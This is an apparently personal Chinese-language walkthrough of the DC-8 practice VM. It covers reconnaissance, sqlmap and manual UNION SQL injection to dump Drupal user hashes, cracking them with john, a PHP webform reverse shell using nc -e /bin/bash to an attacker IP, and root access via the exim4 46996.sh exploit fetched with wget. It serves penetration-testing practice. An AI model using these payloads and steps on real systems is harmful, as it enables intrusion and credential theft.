信息收集
sudo arp-scan -l
ip为192.168.146.146
浏览网页 cms是Drupal7
网页显示:
在接下来的几周内,本网站将出现中断,同时我们将解决一些悬而未决的问题。
对于给您带来的不便,我们深表歉意。
端口扫描
nmap -A -sV -p- 192.168.146.146
隐藏目录扫描
获取后台登录页面,dirb http://192.168.146.146 -X.php没发现啥有用的
dirsearch -u http://192.168.146.146 -i 200
-i | 保留响应状态码(不同状态码用逗号分隔,可指定范围,如-i 200,300-400) |
-x | 排除响应状态码(可指定范围,如-x 400,400-500) |
403无法访问,301资源被永久转移无法访问,只有200可用
/user/login/是登录界面
robots.txt文件是网站跟爬虫间的协议,用简单直接的txt格式文本方式告诉对应的爬虫被允许的权限
发现点击details下面的3个连接,
url中会出现参数,nid=1
在url后面加',出现数据库报错
有sql注入漏洞,用sqlmap
sqlmap -u "http://192.168.146.146/?nid=1" --level=5 --risk=3 --batch --current-db
--batch 操作默认选择为y
查看当前使用的数据库--current-db
检测注入点 sqlmap -u 'http://xx/?id=1'
数据库名d7db
布尔盲注、报错注入、时间盲注、联合注入
查看表名
-D指定数据库、--tables列出表
sqlmap -u "http://192.168.146.146/?nid=1" --level=5 --risk=3 -D 'd7db' --tables
有users表
-T指定数据表、--columns列出所有字段
sqlmap -u "http://192.168.146.146/?nid=1" --level=5 --risk=3 -D 'd7db' -T 'users' -columns(这样运行,没有显示结果)
sqlmap -u "http://192.168.146.146/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -columns(这样才会有结果)
有name和pass
-C 列名 在-D -T情况下输出某列数据的值、--dump 拉取数据存放到本地,获取值,也就是表中的数据
sqlmap -u "http://192.168.146.146/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -C 'name,pass' --dump(这个不行)
sqlmap -u “http://192.168.146.146/?nid=1” -D d7db -T users -C name,pass --dump(这样有结果)
有2个用户admin和join
手工注入暴库方法
参考<渗透练习>DC-8靶机渗透实验_渗透练习dc-8-CSDN博客
数据库名nid=0 union select database()
数据库表nid=0 union select group_concat(table_name) from
information_schema.tables where table_schema=database()
user表字段 nid=0 union select group_concat(column_name) from
information_schema.columns where table_name=’users’ and
table_schema=database()
数据nid=0 union select group_concat(name,pass) from users
john
用户名为john,提示我们用john ,一个基于字典的快速破解密码的工具,是一款用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如 DES
、 MD4
、 MD5
等
把两个密文写进文件pass.txt
用echo没反应直接用vi
echo "$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z" > pass.txt
echo "$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF" >>pass.txt
暴破密码
john pass.txt
解密出一个口令,turtle ,我猜是john用户的,因为admin不会这么容易拿到
试试远程登录
ssh john@192.168.146.146 没成功
后台登陆
观察在edit 可以上传图片用作用户的虚拟面孔,但是要是上传木马图片,不知道路径在哪
在find content点击contact us edit点击webfrom 再点击from settings可以添加php代码
上面的语句,是我们contact us提交内容出现的
目录http://192.168.146.146/node/3/done?sid=1
在里边输入 让dc8连接我们的kal主机,并创建一个shell
木马<?php system("nc 192.168.146.140 5556 -e /bin/bash"); ?>
是kali的ip
监听5556端口nc -lvp 5556
之前一直没成功,把ip写错了
交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
要提权
试了suid和git不行
查看/etc/passwd有一个用户dc8user
看一下有无系统漏洞
uname -a
hostnamectl
searchsploit
看了别的博文,知道可以利用
exim4提权
exim4是 邮件传输代理服务器软件
查看版本 exim4 --version
版本为4.89
有一个提权漏洞46996.sh
find / -name linux/local/46996.sh
或者searchsploit -p(显示漏洞利用的完整路径) 46996.sh
查看
复制文件cp /usr/share/exploitdb/exploits/linux/local/46996.sh hack.sh
开启http服务
python -m http.server 8888
倒数第二个
dc7在/tmp目录wget 192.168.146.140:8888/hack.sh
或者
scp(还不知道咋用的)
scp root@192.168.146.140:/usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/hack.sh
查看文件权限
赋予可执行权限
chmod 777 hack.sh
运行 拿到root权限 不过并不稳定
一会就退出了
拼手速拿flag
我记得上次运行sh文件 执行了这个操作 这次没用到
得在自己的kali终端操作
vi hack.sh :set ff? --------查询文件格式
:set ff=unix
------- 将文件格式改成Unix格式,告诉 vi 编辑器,使用unix换行符